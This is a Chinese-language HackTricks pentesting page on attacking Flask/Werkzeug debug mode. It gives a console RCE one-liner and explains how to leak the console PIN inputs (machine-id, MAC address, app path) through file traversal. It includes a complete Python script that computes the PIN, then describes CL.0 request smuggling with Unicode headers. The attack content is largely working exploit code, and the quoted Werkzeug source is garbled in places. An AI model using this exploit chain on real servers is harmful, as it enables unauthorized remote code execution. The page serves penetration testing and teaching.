Werkzeug / Flask Debug

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,具有从侦察到报告的 20 多种工具和功能。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。

控制台 RCE

如果调试处于活动状态,您可以尝试访问 /console 并获得 RCE。

__import__('os').popen('whoami').read();

在互联网上还有一些漏洞,比如这个或者在metasploit中的一个。

Pin Protected - 路径遍历

在某些情况下,/console 端点将受到 pin 的保护。如果您有一个文件遍历漏洞,您可以泄露所有必要的信息来生成该 pin。

Werkzeug 控制台 PIN 利用

强制应用程序中的调试错误页面以查看此内容:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

遇到“控制台已锁定”情况时,尝试访问Werkzeug的调试界面,需要输入PIN码才能解锁控制台。建议通过分析Werkzeug的调试初始化文件(__init__.py)中的PIN生成算法来利用控制台PIN。可以从Werkzeug源代码存储库中研究PIN生成机制,但建议通过文件遍历漏洞获取实际的服务器代码,以避免潜在的版本差异。

要利用控制台PIN,需要两组变量,probably_public_bitsprivate_bits

probably_public_bits

  • username:指的是启动Flask会话的用户。

  • modname:通常被指定为flask.app

  • getattr(app, '__name__', getattr(app.__class__, '__name__')):通常解析为Flask

  • getattr(mod, '__file__', None):表示Flask目录中app.py的完整路径(例如,/usr/local/lib/python3.5/dist-packages/flask/app.py)。如果不适用app.py,请尝试app.pyc

private_bits

  • uuid.getnode():获取当前计算机的MAC地址,使用str(uuid.getnode())将其转换为十进制格式。

  • 确定服务器的MAC地址,必须识别应用程序使用的活动网络接口(例如,ens3)。在存在不确定性的情况下,**泄漏/proc/net/arp以查找设备ID,然后从/sys/class/net/<device id>/address**中提取MAC地址。

  • 将十六进制MAC地址转换为十进制的方法如下所示:

# 示例MAC地址:56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id():将来自/etc/machine-id/proc/sys/kernel/random/boot_id的数据与/proc/self/cgroup最后一个斜杠(/)后的第一行连接起来。

`get_machine_id()`的代码

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

在整理所有必要数据后,可以执行利用脚本来生成Werkzeug控制台PIN:

在整理所有必要数据后,可以执行利用脚本来生成Werkzeug控制台PIN。该脚本使用组装的`probably_public_bits`和`private_bits`来创建一个哈希,然后经过进一步处理生成最终的PIN。以下是执行此过程的Python代码:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

这个脚本通过对连接的位进行哈希处理,添加特定的盐(cookiesaltpinsalt),并格式化输出来生成 PIN。重要的是要注意,需要准确从目标系统获取 probably_public_bitsprivate_bits 的实际值,以确保生成的 PIN 与 Werkzeug 控制台预期的 PIN 匹配。

如果你使用的是 旧版本 Werkzeug,请尝试将 哈希算法更改为 md5,而不是 sha1。

Werkzeug Unicode 字符

正如在 这个问题 中观察到的,Werkzeug 在头部包含 Unicode 字符时不会关闭请求。正如 这篇文章 中所解释的,这可能导致 CL.0 请求走私漏洞。

这是因为,在 Werkzeug 中可以发送一些 Unicode 字符,这会导致服务器 中断。然而,如果使用带有头部 Connection: keep-alive 的 HTTP 连接,则请求的主体不会被读取,连接仍将保持打开状态,因此请求的 主体 将被视为 下一个 HTTP 请求

参考资料

即时提供的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,使用从侦察到报告的 20 多种工具和功能。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。

最后更新于